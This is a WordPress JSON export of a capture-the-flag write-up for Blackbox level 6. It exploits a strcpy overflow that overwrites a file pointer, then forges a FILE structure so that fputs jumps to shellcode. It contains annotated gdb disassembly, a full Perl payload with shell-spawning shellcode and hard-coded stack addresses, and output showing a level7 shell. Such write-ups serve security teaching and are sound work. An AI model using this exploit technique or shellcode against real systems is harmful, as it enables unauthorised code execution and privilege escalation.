{"id":241,"date":"2012-10-03T21:07:54","date_gmt":"2012-10-04T04:07:54","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=241"},"modified":"2012-10-03T21:08:19","modified_gmt":"2012-10-04T04:08:19","slug":"blackbox-level-6-hijacked-file-pointers-and-fputs","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=241","title":{"rendered":"Blackbox Level 6 &#8211; Overflowing File Pointers and Vulnerable fputs"},"content":{"rendered":"<p>In today&#8217;s post, we&#8217;re going to be taking a look at level 6 of the Blackbox wargame, provided by the Smash The Stack network. \u00a0As usual, the final password of the level will be stripped and replaced with Y&#8217;s. \u00a0If you wish to follow along at home, please go a head and log into blackbox now. \u00a0To get started, a quick list of the home directory shows a level7 file called fsp. \u00a0This must be our vulnerable executable. \u00a0Since there is no source code provided, we will be looking at the assembly today. \u00a0Let&#8217;s go a head and load the program up in gdb and get a dissassembly of main. \u00a0I&#8217;ve added a few comments to help make quicker sense of what&#8217;s going on:<\/p>\n<blockquote><p>(gdb) disass main<br \/>\nDump of assembler code for function main:<br \/>\n0x08048444 &lt;main+0&gt;: lea 0x4(%esp),%ecx<br \/>\n0x08048448 &lt;main+4&gt;: and $0xfffffff0,%esp<br \/>\n0x0804844b &lt;main+7&gt;: pushl 0xfffffffc(%ecx)<br \/>\n0x0804844e &lt;main+10&gt;: push %ebp<br \/>\n0x0804844f &lt;main+11&gt;: mov %esp,%ebp<br \/>\n0x08048451 &lt;main+13&gt;: push %ecx<br \/>\n0x08048452 &lt;main+14&gt;: sub $0x434,%esp<br \/>\n0x08048458 &lt;main+20&gt;: mov %ecx,0xfffffbd8(%ebp) &#8211;five argv? argv[1] or is this argc? because of the cmpl at main+74? value of ecx is 0xbfffdab0, holds value 2 when ran with 1 arg, 4 when ran with 3 args, must be argc.<br \/>\n0x0804845e &lt;main+26&gt;: mov 0x8048636,%eax<br \/>\n0x08048463 &lt;main+31&gt;: mov %eax,0xffffffe7(%ebp) &#8211;&#8220;No segfault yet\\n&#8221;<br \/>\n0x08048466 &lt;main+34&gt;: mov 0x804863a,%eax<br \/>\n0x0804846b &lt;main+39&gt;: mov %eax,0xffffffeb(%ebp) &#8212;<br \/>\n0x0804846e &lt;main+42&gt;: mov 0x804863e,%eax<br \/>\n0x08048473 &lt;main+47&gt;: mov %eax,0xffffffef(%ebp) &#8212;<br \/>\n0x08048476 &lt;main+50&gt;: mov 0x8048642,%eax<br \/>\n0x0804847b &lt;main+55&gt;: mov %eax,0xfffffff3(%ebp) &#8212;<br \/>\n0x0804847e &lt;main+58&gt;: movzbl 0x8048646,%eax<br \/>\n0x08048485 &lt;main+65&gt;: mov %al,0xfffffff7(%ebp)<br \/>\n0x08048488 &lt;main+68&gt;: mov 0xfffffbd8(%ebp),%eax<br \/>\n0x0804848e &lt;main+74&gt;: cmpl $0x1,(%eax) &#8211;is argc &gt; 1?<br \/>\n0x08048491 &lt;main+77&gt;: jg 0x80484ba &lt;main+118&gt;<br \/>\n0x08048493 &lt;main+79&gt;: mov 0xfffffbd8(%ebp),%edx<br \/>\n0x08048499 &lt;main+85&gt;: mov 0x4(%edx),%eax<br \/>\n0x0804849c &lt;main+88&gt;: mov (%eax),%eax<br \/>\n0x0804849e &lt;main+90&gt;: mov %eax,0x4(%esp)<br \/>\n0x080484a2 &lt;main+94&gt;: movl $0x8048618,(%esp)<br \/>\n0x080484a9 &lt;main+101&gt;: call 0x8048348 &lt;printf@plt&gt;<br \/>\n0x080484ae &lt;main+106&gt;: movl $0xffffffff,(%esp)<br \/>\n0x080484b5 &lt;main+113&gt;: call 0x8048358 &lt;exit@plt&gt; &#8211;exit if argc &lt;= 1<br \/>\n0x080484ba &lt;main+118&gt;: movl $0x804862f,0x4(%esp) &#8211;0x804862f &lt;_IO_stdin_used+27&gt;: &#8220;a&#8221;<br \/>\n0x080484c2 &lt;main+126&gt;: movl $0x8048631,(%esp) &#8211;0x8048631 &lt;_IO_stdin_used+29&gt;: &#8220;temp&#8221;<br \/>\n0x080484c9 &lt;main+133&gt;: call 0x8048368 &lt;fopen@plt&gt; &#8211;a Open the file for appending (i.e. new data is added at the end). Creates a new file if it doesn&#8217;t already exist<br \/>\n&#8211;temp is file name<br \/>\n0x080484ce &lt;main+138&gt;: mov %eax,0xfffffff8(%ebp) &#8211;save file pointer<br \/>\n0x080484d1 &lt;main+141&gt;: mov 0xfffffbd8(%ebp),%edx &#8211;argc<br \/>\n0x080484d7 &lt;main+147&gt;: mov 0x4(%edx),%eax &#8211;argv<br \/>\n0x080484da &lt;main+150&gt;: add $0x4,%eax &#8211;argv[1]<br \/>\n0x080484dd &lt;main+153&gt;: mov (%eax),%eax &#8211;address of argv[1] string is in eax<br \/>\n0x080484df &lt;main+155&gt;: mov %eax,0x4(%esp) &#8211;argv[1] string address goes on stack as parameter (end paremeter for strcpy, the source)<br \/>\n0x080484e3 &lt;main+159&gt;: lea 0xfffffbe7(%ebp),%eax &#8211;let&#8217;s assume it&#8217;s some buffer, buf<br \/>\n0x080484e9 &lt;main+165&gt;: mov %eax,(%esp) &#8211;place as destination for strcpy<br \/>\n0x080484ec &lt;main+168&gt;: call 0x8048388 &lt;strcpy@plt&gt; &#8211;strcpy from argv[1] to buf (UNSAFE US OF STRCPY!!!! BUFFER OVERFLOW!!!!)<br \/>\n0x080484f1 &lt;main+173&gt;: mov 0xfffffff8(%ebp),%eax &#8211;file opened by fopen (&#8220;temp&#8221;)<br \/>\n0x080484f4 &lt;main+176&gt;: mov %eax,0x4(%esp) &#8211;put on stack as output of fputs<br \/>\n0x080484f8 &lt;main+180&gt;: lea 0xffffffe7(%ebp),%eax &#8211;&#8220;No segfault yet\\n&#8221; (buf)<br \/>\n0x080484fb &lt;main+183&gt;: mov %eax,(%esp) &#8211;as first parameter for prints for source<br \/>\n0x080484fe &lt;main+186&gt;: call 0x8048328 &lt;fputs@plt&gt;<br \/>\n0x08048503 &lt;main+191&gt;: movl $0x0,(%esp)<br \/>\n0x0804850a &lt;main+198&gt;: call 0x8048358 &lt;exit@plt&gt;<br \/>\n0x0804850f &lt;main+203&gt;: nop<br \/>\nEnd of assembler dump.<\/p><\/blockquote>\n<p>Looking at the assembly there are multiple things to note. \u00a0However the most blaring from a security perspective is the unsafe use of strcpy. \u00a0This program makes use of strcpy(2) which copies, un-restricted, from a source to a destination. \u00a0Even worse, it copies from a user-supplied source (argv[1] in this case), to a buffer in the program. \u00a0Based on this, we can see the program is vulnerable to a buffer overflow. \u00a0But let&#8217;s look closer to see what effects this overflow might be able to have. \u00a0Since the program doesn&#8217;t return, only makes exit calls, we won&#8217;t be able to easily overwrite a return address to gain control. \u00a0Thus, let&#8217;s look at the addresses and try to visualize the stack to see what we can overwrite.<\/p>\n<blockquote><p>High mem \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0ebp -0x8 \u00a0 -0x419<br \/>\n[argv][argc][ret][&#8230;][ret][saved ebp][args][fp][buf][&#8230;][args][&#8230;]<\/p><\/blockquote>\n<p>We can see that fp is after buf, and thus, if we overflow buf, we can overwrite fp. \u00a0So now there is a question developing. \u00a0If we can overwrite fp, how does this help us? \u00a0Where is fp used and how? \u00a0Well, let&#8217;s look further. \u00a0It seems that fp is used as one of the two arguments for fputs. \u00a0Thus, let&#8217;s look further into this fputs function to see how we might be able to alter it. \u00a0Getting a disassembly of fputs shows that it is a large function, but let&#8217;s start by looking at the beginning 141 or so instructions:<\/p>\n<blockquote><p>(gdb) disass fputs<br \/>\nDump of assembler code for function fputs:<br \/>\n0x00d234a0 &lt;fputs+0&gt;: push %ebp<br \/>\n0x00d234a1 &lt;fputs+1&gt;: mov %esp,%ebp<br \/>\n0x00d234a3 &lt;fputs+3&gt;: sub $0x1c,%esp<br \/>\n0x00d234a6 &lt;fputs+6&gt;: mov %ebx,0xfffffff4(%ebp)<br \/>\n0x00d234a9 &lt;fputs+9&gt;: mov 0x8(%ebp),%eax &#8211;load parameter into eax (buf)<br \/>\n0x00d234ac &lt;fputs+12&gt;: call 0xce1d10 &lt;free@plt+112&gt; &#8211;free mem, enough for eax?<br \/>\n0x00d234b1 &lt;fputs+17&gt;: add $0xd7b43,%ebx<br \/>\n0x00d234b7 &lt;fputs+23&gt;: mov %esi,0xfffffff8(%ebp)<br \/>\n0x00d234ba &lt;fputs+26&gt;: mov 0xc(%ebp),%esi &#8211;move parameter into esi (fp)<br \/>\n0x00d234bd &lt;fputs+29&gt;: mov %edi,0xfffffffc(%ebp)<br \/>\n0x00d234c0 &lt;fputs+32&gt;: mov %eax,(%esp) &#8211;load buf as param for strlen<br \/>\n0x00d234c3 &lt;fputs+35&gt;: call 0xd38e30 &lt;strlen&gt; &#8211;strlen of buf<br \/>\n0x00d234c8 &lt;fputs+40&gt;: mov %eax,0xfffffff0(%ebp) &#8211;save parameter from eax onto ebp offset<br \/>\n0x00d234cb &lt;fputs+43&gt;: mov (%esi),%eax &#8212;<br \/>\n0x00d234cd &lt;fputs+45&gt;: and $0x8000,%eax &#8212;<br \/>\n0x00d234d2 &lt;fputs+50&gt;: test %ax,%ax &#8211;AND arguments. If the result of the AND is 0, the ZF is set to 1, otherwise set to 0.<br \/>\n0x00d234d5 &lt;fputs+53&gt;: jne 0xd2350b &lt;fputs+107&gt; &#8211;jump if ZF == 0.<\/p>\n<p>0x00d234d7 &lt;fputs+55&gt;: mov 0x48(%esi),%edx<br \/>\n0x00d234da &lt;fputs+58&gt;: mov %gs:0x8,%edi<br \/>\n0x00d234e1 &lt;fputs+65&gt;: cmp 0x8(%edx),%edi<br \/>\n0x00d234e4 &lt;fputs+68&gt;: je 0xd23508 &lt;fputs+104&gt;<br \/>\n0x00d234e6 &lt;fputs+70&gt;: xor %eax,%eax<br \/>\n0x00d234e8 &lt;fputs+72&gt;: mov $0x1,%ecx<br \/>\n0x00d234ed &lt;fputs+77&gt;: cmpl $0x0,%gs:0xc<br \/>\n0x00d234f5 &lt;fputs+85&gt;: je,pt 0xd234f9 &lt;fputs+89&gt;<br \/>\n0x00d234f8 &lt;fputs+88&gt;: lock cmpxchg %ecx,(%edx)<br \/>\n0x00d234fc &lt;fputs+92&gt;: jne 0xd235fa &lt;fputs+346&gt;<br \/>\n0x00d23502 &lt;fputs+98&gt;: mov 0x48(%esi),%edx<br \/>\n0x00d23505 &lt;fputs+101&gt;: mov %edi,0x8(%edx)<br \/>\n0x00d23508 &lt;fputs+104&gt;: incl 0x4(%edx)<br \/>\n&#8211;We can jump to here from above!<br \/>\n0x00d2350b &lt;fputs+107&gt;: cmpb $0x0,0x46(%esi) &#8211;check if 0x46th byte is 0x0<br \/>\n0x00d2350f &lt;fputs+111&gt;: je 0xd23584 &lt;fputs+228&gt; &#8211;if so, jump. We don&#8217;t want to jump.<br \/>\n0x00d23511 &lt;fputs+113&gt;: movsbl 0x46(%esi),%eax &#8211;move that byte into eax (size &amp; sign extended [zero out padding])<br \/>\n0x00d23515 &lt;fputs+117&gt;: mov 0xfffffff0(%ebp),%edx &#8211;move value returned from strlen to edx<br \/>\n0x00d23518 &lt;fputs+120&gt;: mov 0x94(%esi,%eax,1),%eax &#8211;use byte in eax as index into an array starting at esi (the file pointer parameter) +0x94. Save this new array location in eax.<br \/>\n&#8211;save the value in that array at that index into eax<br \/>\n0x00d2351f &lt;fputs+127&gt;: mov %edx,0x8(%esp) &#8211;load buf as a parameter on stack for next function call<br \/>\n0x00d23523 &lt;fputs+131&gt;: mov 0x8(%ebp),%edx &#8211;load a value into edx (a parameter)<br \/>\n0x00d23526 &lt;fputs+134&gt;: mov %esi,(%esp) &#8211;load file pointer onto stack as parameter for next function call<br \/>\n0x00d23529 &lt;fputs+137&gt;: mov %edx,0x4(%esp) &#8211;load value from edx onto stack as parameter for function call<br \/>\n0x00d2352d &lt;fputs+141&gt;: call *0x1c(%eax) &#8211;call the function whos address is located at eax + 0x1c<\/p><\/blockquote>\n<p>From here we could continue getting lost in the function, or we could look at the call instruction at fputs+141 and try to take advantage of it. \u00a0We can see the instruction calls the function at eax+0x1c. \u00a0We can also see eax gets it&#8217;s value from esi and some offsets. \u00a0However, esi was holding a pointer to the file pointer! \u00a0This means that if we control the file pointer, we control what is pointed to, in turn we control the value eax will get, and ultimately, we control what address will be executed during the call instruction! \u00a0But let&#8217;s not get ahead of ourselves, we still don&#8217;t even know what the beginning of fputs does.<\/p>\n<p>Starting from the top of fputs, we know we have two supplied parameters, the first being buf and the second being the file pointer. First, buf&#8217;s address is loaded into eax and free is called. Futher down, we can see that the file pointer is loaded into esi at fputs+26. Again, back to buf as it is loaded for a call to strlen and the result saved. Next, we get to an interesting control point. We can see the first four bytes are taken out of file pointer (which was stored in esi, remember). This long word is then bit-wise AND with 0x8000 and if the result is 0, the zero flag is set to 1. But if the result of the AND is not zero, the zero flag is set to 0. Lastly there is a jump on fputs+53 where if the zero flag is set to 0, the program will jump to fputs+107. So to cause the jump, we need the lower 2 bytes of eax, AKA ax, to not AND to zero, aka they need to have 0x8000 in their value.<\/p>\n<p>Assuming we make the jump, since it is closer to the call instruction we wanted to reach, let&#8217;s look at fputs+107. Right away there is a test on the 0x46th byte of the file pointer checking if it is equal to 0x0. If it is 0x0, there is a jump to far away, so let&#8217;s try and avoid that by not allowing the 46th byte of the file pointer to be equal to 0x0. Next, that 46th byte is loaded into eax with size and sign extended (aka the rest of eax will be all zeros). Next, the old value we saved from the strlen function is loaded into edx. More importantly is what follows with eax. The value in eax is used as an index into an array starting at esi (good news, our file pointer we control) + 0x94. Ok, well we can arrange our file pointer to pretend we have an array at byte 0x94! Some values are added to the stack for paramters of the upcoming call. Finally call is executed on the function whos address is located at eax+0x1c. Well, I think we can take control of that by supplying our own function (shellcode), getting it&#8217;s address and controlling the file pointer!<\/p>\n<p>So next, let&#8217;s think about the space we have to work with in buf, and how we can overwrite fp. \u00a0Looking, we can see fp was saved at 0xfffffff8(%ebp), and buf was accessed at 0xfffffbe7(%ebp). \u00a0So doing a little math (0xff8 &#8211; 0xbe7), buf is 0x411 bytes long. \u00a0Also, given that fp is our target, that it falls directly after buf, and that it&#8217;s a 4 byte pointer, we need to write a total of 0x411 + 0x4 = 0x415 bytes for our overload. \u00a0This seems like a large enough space to place some shellcode, so we may as well include it there. \u00a0Now that we&#8217;ve thought about the length, let&#8217;s look at the structure. \u00a0There are a few points to make sure of due to some of the checks in fputs, so let&#8217;s look at those to help define our sturcture.<\/p>\n<blockquote>\n<ol>\n<li>To pass the zero flag check at the beginning of fputs, our file pointer payload should start with 0x80008000.<\/li>\n<li>The 46th byte needs to be a value other than 0x00. Let&#8217;s simply choose 0x01.<\/li>\n<li>The 4 bytes at 0x94+0x01=0x95 should be a pointer (this is the array). For ease sake, make it point to 0x95+0x04=0x99.<\/li>\n<li>At 0x99+0x1c=0xb5 we should have another pointer (this is the function pointer). For ease sake, make it point to 0xb5+0x04=0xb9.<\/li>\n<li>Insert shellcode at 0xb9.<\/li>\n<li>After shellcode, write padding to fill buff to 0x411 bytes.<\/li>\n<li>Insert last 4 bytes to overwrite fp. Needs to be address of beginning of buf (address because it&#8217;s a pointer no duh).<\/li>\n<\/ol>\n<\/blockquote>\n<p>One of the final unknowns at this point is that of memory addresses. \u00a0Since we&#8217;re using pointers, we need to know addresses. \u00a0Well, we can solve that by loading up gdb with a test argument and checking ebp.<\/p>\n<blockquote><p>level6@blackbox:~$ gdb fsp<\/p>\n<p>(gdb) break main<br \/>\nBreakpoint 1 at 0x8048452<br \/>\n(gdb) run `perl -e &#8220;print &#8216;A&#8217;x1045&#8243;`<br \/>\nStarting program: \/home\/level6\/fsp `perl -e &#8220;print &#8216;A&#8217;x1045&#8243;`<\/p>\n<p>Breakpoint 1, 0x08048452 in main ()<br \/>\n(gdb) p $ebp<br \/>\n$1 = (void *) 0xbfffd688<\/p><\/blockquote>\n<p>Now we can assume this ebp isn&#8217;t going to change on our next run with the same length arguments. \u00a0This ebp is also only valid in runs with gdb, so when we execute this in the wild, we&#8217;ll have to do a few test runs with various guesses at ebp. \u00a0But, it&#8217;s good to know, gdb doesn&#8217;t make much overhead so the ebp&#8217;s will be close to each other. \u00a0Now let&#8217;s move on to writing our payload.\u00a0Today I&#8217;m simply going to use perl to write up our payload. \u00a0Since we already talked about what is needed, let me just show the code, then go over it:<\/p>\n<blockquote><p>#!\/usr\/bin\/perl<\/p>\n<p>my $sh = &#8220;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8221;;<\/p>\n<p>print &#8220;\\x80\\x80\\x80\\x80&#8221;;<br \/>\nprint &#8220;\\x90&#8243;x66;<br \/>\nprint &#8220;\\x01&#8221;;<br \/>\nprint &#8220;\\x90&#8243;x78;<br \/>\nprint &#8220;\\x08\\xd3\\xff\\xbf&#8221;;<br \/>\nprint &#8220;\\x90&#8243;x28;<br \/>\nprint &#8220;\\x28\\xd3\\xff\\xbf&#8221;;<br \/>\nprint $sh;<br \/>\nprint &#8220;\\x90&#8243;x804;<br \/>\nprint &#8220;\\x6f\\xd2\\xff\\xbf&#8221;;<\/p><\/blockquote>\n<p>This should be extremely straight forward. \u00a0Basically, this script prints out the things we said we needed in the list above. \u00a0It starts by printing the hex values of 80808080 to defeat the zero flag test. \u00a0Next, it pads til byte 0x46, and then fills that byte with the value 0x01. \u00a0Following is more padding until the first pointer is writen, and then again more padding until the second pointer is writen. \u00a0The next line outputs the shellcode. \u00a0After the shellcode, the remaining padding is output. \u00a0Finally, the value of the pointer to the start of buf is printed and the program is over. \u00a0One thing to note is that the pointers, p1, p2 and the pointer to buf, are all hard coded and calculated based on the ebp we got above. \u00a0These calculations are based on the following convention:<\/p>\n<blockquote><p>ebp = 0xbfffd688<br \/>\nbuf = $ebp &#8211; 0x419<br \/>\np1 = $buf + 0x99<br \/>\np2 = $buf + 0xb9<br \/>\nTherefore,<br \/>\np1 = 0xbfffd308<br \/>\np2 = 0xbfffd328<br \/>\nbuf pointer = 0xbfffd26f<\/p><\/blockquote>\n<p>It should be pointed out that the addition and subtration is based on where these values fall in memory, and will not change. \u00a0However, outside of gdb, ebp will change and will alter our other memory values. \u00a0But, for now, let&#8217;s go a head and try to run this in gdb and see what happens!<\/p>\n<blockquote><p>level6@blackbox:\/tmp\/.ttt$ gdb ~\/fsp<br \/>\n(gdb) run `perl \/tmp\/.ttt\/t2.p`<br \/>\nStarting program: \/home\/level6\/fsp `perl \/tmp\/.ttt\/t2.p`<br \/>\nsh-3.1$<\/p><\/blockquote>\n<p>There we can see our program in action and we can see that our shellcode was executed. \u00a0If there are problems (such as seg faults or normal execution), there are a few valuable places to set breaks. \u00a0I would suggest the following places for breaks: 0x080484f4 to check the value of eax which should be the overwritten file pointer. 0x080484df to check eax for the address of argv[1], to make sure the values being passed to the program are correct. fputs is a good place to put a break, as well as 0x00d234ba in fputs to verify the fp stored in esi. \u00a0Now, assuming, based on the successful test in gdb, we have these problems solved, let&#8217;s try and defeat the level for good!<\/p>\n<p>The last peace in this puzzle is to determine the ebp in the normal Linux environment. \u00a0There are multiple aproaches to this problem, but since we have hardcoded addresses, lets just use the guess and check method! \u00a0One thing that helps, is to realize that gdb adds overhead, so in the normal environment, ebp will be at a &#8220;lower&#8221; address. \u00a0Thus, we know we should have to use a &#8220;lower&#8221; address, which is actually a larger numbered address. \u00a0For a simple calculation, let&#8217;s guess that gdb addes 0x10 to the overhead on the stack. \u00a0That means we can assume an out-of-gdb ebp value of 0xbfffd698. \u00a0Using that value, let&#8217;s recalculate our p1, p2 and buf pointers and write those values into our script file (which should now look like this):<\/p>\n<blockquote><p>#!\/usr\/bin\/perl<\/p>\n<p>my $sh = &#8220;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80<br \/>\n\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8221;;<\/p>\n<p>print &#8220;\\x80\\x80\\x80\\x80&#8221;;<br \/>\nprint &#8220;\\x90&#8243;x66;<br \/>\nprint &#8220;\\x01&#8221;;<br \/>\nprint &#8220;\\x90&#8243;x78;<br \/>\nprint &#8220;\\x18\\xd3\\xff\\xbf&#8221;;<br \/>\nprint &#8220;\\x90&#8243;x28;<br \/>\nprint &#8220;\\x38\\xd3\\xff\\xbf&#8221;;<br \/>\nprint $sh;<br \/>\nprint &#8220;\\x90&#8243;x804;<br \/>\nprint &#8220;\\x7f\\xd2\\xff\\xbf&#8221;;<\/p><\/blockquote>\n<p>Now let&#8217;s go ahead and try to run this in the normal environment:<\/p>\n<blockquote><p>level6@blackbox:\/tmp\/.ttt$ ~\/fsp `perl \/tmp\/.ttt\/t.p`<br \/>\nsh-3.1$ whoami<br \/>\nlevel7<br \/>\nsh-3.1$ cat \/home\/level7\/passwd<br \/>\nYYYYYYYYY<\/p><\/blockquote>\n<p>There we go! \u00a0We were able to exploit a buffer overflow vulnerability even when there wasn&#8217;t a return address to overwrite. \u00a0In this case, we overwrite a file pointer which allowed us to execute arbitrary code via fputs. \u00a0This arbitrary code execution allowed us to spawn a shell and gain priviledge escellation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In today&#8217;s post, we&#8217;re going to be taking a look at level 6 of the Blackbox wargame, provided by the Smash The Stack network. \u00a0As usual, the final password of the level will be stripped and replaced with Y&#8217;s. \u00a0If &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=241\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[7,6,4],"tags":[48,12,49,11],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/241"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=241"}],"version-history":[{"count":11,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/241\/revisions"}],"predecessor-version":[{"id":253,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/241\/revisions\/253"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=241"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=241"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=241"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}